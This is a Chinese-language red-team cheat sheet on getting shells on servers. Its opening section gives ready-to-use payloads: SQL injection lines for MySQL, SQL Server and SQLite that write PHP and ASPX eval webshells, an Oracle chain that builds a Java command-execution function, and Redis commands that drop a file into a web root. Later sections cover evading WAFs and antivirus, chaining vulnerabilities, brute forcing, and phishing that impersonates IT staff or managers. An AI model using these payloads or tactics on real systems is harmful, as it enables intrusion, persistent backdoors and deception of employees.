红队-Getshell总结
字数 1767 2025-08-25 22:58:40

红队Getshell技术全面总结

0x01 注入Getshell技术

MySQL注入Getshell

-- 写入Webshell
SELECT 0x3c3f706870206576616c28245f504f53545b615d293b3f3e INTO OUTFILE '/var/www/html/1.php'

SQL Server注入Getshell

-- 使用xp_cmdshell执行命令
EXEC master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\WWW\\2333.aspx';

Oracle注入Getshell

  1. 创建JAVA包
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') FROM dual;
  1. 授予JAVA权限
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''', ''''EXECUTE'''');end;'';commit;end;') FROM dual;
  1. 创建函数
SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String'''';'';commit;end;') FROM dual;
  1. 执行命令
-- URL执行示例
id=602'||utl_inaddr.get_host_name((SELECT LinxRUNCMD('cmd /c dir d:/') FROM dual))--

PostgreSQL注入Getshell

COPY (SELECT '<?php phpinfo(); ?>') TO '/tmp/1.php';

SQLite注入Getshell

;ATTACH DATABASE 'D:\\www\\008.php' AS tt;
CREATE TABLE tt.exp (dataz TEXT);
INSERT INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');

Redis未授权Getshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo(); ?>"
save

0x02 上传漏洞Getshell

常见上传漏洞类型

  1. 前台上传点漏洞
  2. 后台上传点漏洞(通过口令/XSS/越权进入)
  3. Web Server解析漏洞(IIS/APACHE老版本)
  4. PUT方法上传漏洞(IIS/Tomcat)
  5. 编辑器漏洞(FCK/editor/CKEditor等)

上传漏洞利用关键点

  1. 代码或逻辑问题,可以上传脚本文件
  2. 绕过WAF对脚本文件及上传内容的校验
  3. 解决落地杀(杀毒软件)
  4. 执行过程绕过流量监控或系统层监控

0x03 RCE(远程代码/命令执行)Getshell

常见RCE类型

  • Java系:OGNL表达式注入、EL注入、反序列化
  • PHP系:eval类、伪协议类、system类命令执行
  • 通用:反序列化漏洞

2019年高频RCE漏洞列表

  1. Harbor API SQL注入
  2. Thinkcmf任意内容包含RCE
  3. 泛微E-cology OA数据库配置信息泄漏
  4. Fastjson远程拒绝服务
  5. GhostScript RCE(CVE-2019-14811)
  6. 泛微E-cology OA系统RCE
  7. Apache Solr RCE(CVE-2019-0193)
  8. FasterXML jackson-databind RCE系列
  9. Xstream RCE(CVE-2019-10173)
  10. 致远OA A8前台getshell
  11. Apache axis RCE
  12. CoreMail未授权访问接口参数注入
  13. Weblogic RCE系列
  14. Confluence RCE系列
  15. Ruby On Rails任意文件读取
  16. Jenkins RCE系列
  17. ColdFusion RCE
  18. Spring Boot Actuator RCE
  19. Drupal8 REST Module RCE
  20. Apache Solr RCE(CVE-2019-17558)

0x04 文件包含Getshell

PHP文件包含

  • 包含任意路径的任意后缀文件
  • 结合系统特性文件或上传文件利用

JSP文件包含

  • 默认包含WEB路径下的JSP文件
  • 静态包含可以包含任意后缀文本文件
  • CVE-2020-1938 Tomcat文件包含漏洞

0x05 漏洞组合拳Getshell

常见组合方式

  1. 绕过认证+后台漏洞利用
    • 口令猜测
    • 备份还原/导入导出/模板编辑功能利用
  2. 登录逻辑绕过/越权+后台漏洞利用
  3. XSS/CSRF获取后台权限+漏洞利用
  4. XXE+文件读取/SSRF
    • 直接代码执行(PHP expect)
    • 读取配置文件获取凭证
  5. SSRF+RCE组合
    • SSRF+Redis未授权
    • SSRF+其他RCE漏洞
  6. 任意文件读取+代码审计
    • 读取web.xml获取class文件
    • 反编译查找代码漏洞
    • 文件读取+文件上传组合

0x06 系统层Getshell

暴力破解

  • SSH/RDP/SMB/VPC/Redis等协议破解

数据库提权

  • 通过数据库执行系统命令获取shell

设备层攻击

  • VPN/防火墙等边界设备攻击

0x07 钓鱼Getshell

钓鱼技术

  1. 发送钓鱼邮件
    • 捆绑恶意程序
    • 点击即执行类攻击
  2. 社工结合
    • 冒充IT管理员/领导发送
    • 提升可信度

目标选择

  • 优先针对IT部门
  • 普通办公区主机权限需要更多工作

0x08 红队Shell竞争策略

  1. 信息收集优势

    • 发现他人找不到的漏洞点
    • 移动端/物联网接口信息收集
  2. 利用速度优势

    • 自动化漏洞利用流程
    • 工程化攻击工具链
  3. 0day储备

    • VPN/Mail/OA/Java组件/CMS/关键设备0day
  4. 漏洞组合利用

    • 多个低危漏洞组合利用
    • 深度挖掘漏洞细节

总结

Getshell技术体系包括但不限于:

  • 各类数据库注入技术
  • 文件上传漏洞利用
  • 远程代码/命令执行漏洞
  • 文件包含漏洞
  • 多漏洞组合利用
  • 系统层攻击
  • 社会工程学攻击

红队成功的关键在于:

  1. 全面的技术储备
  2. 快速的漏洞利用能力
  3. 独特的0day资源
  4. 创新的漏洞组合思路
  5. 深入的信息收集能力
红队Getshell技术全面总结 0x01 注入Getshell技术 MySQL注入Getshell SQL Server注入Getshell Oracle注入Getshell 创建JAVA包 授予JAVA权限 创建函数 执行命令 PostgreSQL注入Getshell SQLite注入Getshell Redis未授权Getshell 0x02 上传漏洞Getshell 常见上传漏洞类型 前台上传点漏洞 后台上传点漏洞(通过口令/XSS/越权进入) Web Server解析漏洞(IIS/APACHE老版本) PUT方法上传漏洞(IIS/Tomcat) 编辑器漏洞(FCK/editor/CKEditor等) 上传漏洞利用关键点 代码或逻辑问题,可以上传脚本文件 绕过WAF对脚本文件及上传内容的校验 解决落地杀(杀毒软件) 执行过程绕过流量监控或系统层监控 0x03 RCE(远程代码/命令执行)Getshell 常见RCE类型 Java系:OGNL表达式注入、EL注入、反序列化 PHP系:eval类、伪协议类、system类命令执行 通用:反序列化漏洞 2019年高频RCE漏洞列表 Harbor API SQL注入 Thinkcmf任意内容包含RCE 泛微E-cology OA数据库配置信息泄漏 Fastjson远程拒绝服务 GhostScript RCE(CVE-2019-14811) 泛微E-cology OA系统RCE Apache Solr RCE(CVE-2019-0193) FasterXML jackson-databind RCE系列 Xstream RCE(CVE-2019-10173) 致远OA A8前台getshell Apache axis RCE CoreMail未授权访问接口参数注入 Weblogic RCE系列 Confluence RCE系列 Ruby On Rails任意文件读取 Jenkins RCE系列 ColdFusion RCE Spring Boot Actuator RCE Drupal8 REST Module RCE Apache Solr RCE(CVE-2019-17558) 0x04 文件包含Getshell PHP文件包含 包含任意路径的任意后缀文件 结合系统特性文件或上传文件利用 JSP文件包含 默认包含WEB路径下的JSP文件 静态包含可以包含任意后缀文本文件 CVE-2020-1938 Tomcat文件包含漏洞 0x05 漏洞组合拳Getshell 常见组合方式 绕过认证+后台漏洞利用 口令猜测 备份还原/导入导出/模板编辑功能利用 登录逻辑绕过/越权+后台漏洞利用 XSS/CSRF获取后台权限+漏洞利用 XXE+文件读取/SSRF 直接代码执行(PHP expect) 读取配置文件获取凭证 SSRF+RCE组合 SSRF+Redis未授权 SSRF+其他RCE漏洞 任意文件读取+代码审计 读取web.xml获取class文件 反编译查找代码漏洞 文件读取+文件上传组合 0x06 系统层Getshell 暴力破解 SSH/RDP/SMB/VPC/Redis等协议破解 数据库提权 通过数据库执行系统命令获取shell 设备层攻击 VPN/防火墙等边界设备攻击 0x07 钓鱼Getshell 钓鱼技术 发送钓鱼邮件 捆绑恶意程序 点击即执行类攻击 社工结合 冒充IT管理员/领导发送 提升可信度 目标选择 优先针对IT部门 普通办公区主机权限需要更多工作 0x08 红队Shell竞争策略 信息收集优势 发现他人找不到的漏洞点 移动端/物联网接口信息收集 利用速度优势 自动化漏洞利用流程 工程化攻击工具链 0day储备 VPN/Mail/OA/Java组件/CMS/关键设备0day 漏洞组合利用 多个低危漏洞组合利用 深度挖掘漏洞细节 总结 Getshell技术体系包括但不限于: 各类数据库注入技术 文件上传漏洞利用 远程代码/命令执行漏洞 文件包含漏洞 多漏洞组合利用 系统层攻击 社会工程学攻击 红队成功的关键在于: 全面的技术储备 快速的漏洞利用能力 独特的0day资源 创新的漏洞组合思路 深入的信息收集能力